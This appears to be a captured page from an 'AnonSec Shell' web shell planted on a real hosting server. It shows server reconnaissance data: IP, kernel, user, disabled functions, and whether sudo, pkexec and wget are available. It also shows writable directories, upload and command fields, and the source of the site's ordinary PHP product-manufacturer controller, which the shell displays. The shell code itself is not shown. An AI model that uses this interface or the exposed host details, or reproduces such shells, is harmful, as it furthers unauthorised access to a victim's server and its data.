AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/regional/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/regional/application/controllers/product_manufacturer.php
<?php

_auth();
$ui->assign('_application_menu', 'settings');
$ui->assign('_title', $_L['Manufacturer'] . ' - ' . $config['CompanyName']);
$ui->assign('_st', $_L['Manufacturer']);
$ui->assign('content_inner', inner_contents($config['c_cache']));
$action = $routes['1'];
$user = User::_info();
$ui->assign('user', $user);


switch ($action) {
    case 'list':
        $ui->assign('manufactures', ProductManufacturer::all());
        $ui->assign('xfooter', Asset::js(array('jslib/product-manufacturer')));
        //seta o idioma para o js
        $ui->assign('jsvar', '
        _L[\'are_you_sure\'] = \'' . $_L['are_you_sure'] . '\';
        _L[\'Save\'] = \'' . $_L['Save'] . '\';
        _L[\'Add New Manufacturer\'] = \'' . $_L['Add New Manufacturer'] . '\';
        _L[\'Edit\'] = \'' . $_L['Edit'] . '\';
        _L[\'Manufacturer\'] = \'' . $_L['Manufacturer'] . '\';
        _L[\'Code\'] = \'' . $_L['Code'] . '\';
        _L[\'Manufacturer Name\'] = \'' . $_L['Manufacturer Name'] . '\';
        _L[\'OK\'] = \'' . $_L['OK'] . '\';
         ');
        $ui->display('list-product-manufacture.tpl');
        break;

    case 'add-post':
        //recebe o nome do segmento para adicionar no banco de dados
        $msg = "";
        $name = _post('name');
        $code = _post('code');
        if (trim($name) == '') {
            $msg = $_L['Manufacturer Name'] . $_L['is required'];
        }
        $c = ProductManufacturer::getOneByCode($code, null);
        if ($c) {
            $msg = $_L['A Manufacturer with same code already exist'];
        }
        if ($msg == '') {
            //check same group already exist
            $d = ProductManufacturer::create();
            $d->name = $name;
            $d->code = $code;
            $d->sorder = 0;
            $d->save();
            _log($_L['Manufacturer Added'] . " - $d->id - " + $d->name, 'Admin', $user['id']);
            //se informar que deve emitir msg de salvo
            if ($routes['2'] == 'msg') {
                _msglog("s", $_L['added_successful']);
            }
            echo $d->id();
        } else {
            echo $msg;
        }

        break;

    case 'edit-post':
        $id = _post('id');
        $name = _post('name');
        $code = _post('code');
        $msg = "";
        if (trim($name) == '') {
            $msg = $_L['Manufacture Name'] . $_L['is required'];
        }
        $c = ProductManufacturer::getOneByCode($code, $id);
        if ($c) {
            $msg = $_L['A Manufacturer with same code already exist'];
        }
        if ($msg == '') {
            $d = ProductManufacturer::getOne($id);
            if ($d) {
                // update all gname in contacts
                $d->name = $name;
                $d->code = $code;
                $d->save();
                echo $d->id;
                _log($_L['Manufacturer Edited'] . " - $d->id - " + $d->name, 'Admin', $user['id']);
                //se informar que deve emitir msg de salvo
                if ($routes['2'] == 'msg') {
                    _msglog("s", $_L['edit_successful']);
                }
            }
        } else {
            echo $msg;
        }
        break;


    ///listagem ajax
    case 'ajax-list':
        //recebe o parametro do estado
        $manuf = ProductManufacturer::all();
        $data="";
        foreach ($manuf as $s) {
            $data[] = array(
                'id' => $s->id,
                'name' => $s->name,
                'code' => $s->code
            );
        }
        echo json_encode($data);
        break;

    case 'delete':
        $id = intval($routes[2]);
        $d = ORM::for_table('sys_items_manufacturer')->find_one($id);

        if ($d) {

            // find all items com a unidade
            //se encontrar emite mensagem de impossibilidade de exclusão
            $itens = ORM::for_table('sys_items')->where("sys_items_manufacturer_id",$id)->find_many();
            if (count($itens) > 0) {
                r2(U . 'product_manufacturer/list/', 'e', $_L['Not permited remove this unit. Unit having  Items']);
            } else {
                $d->delete();
                _log($_L['Manufacturer Deleted'] . " - " + $d->name, 'Admin', $user['id']);
                r2(U . 'product_manufacturer/list/', 's', $_L['Manufacturer Deleted Successfully']);
            }
        } else {
            echo $_L['Not found'];
        }
        break;


    default:
        echo 'action not defined';
}

Anon7 - 2022
AnonSec Team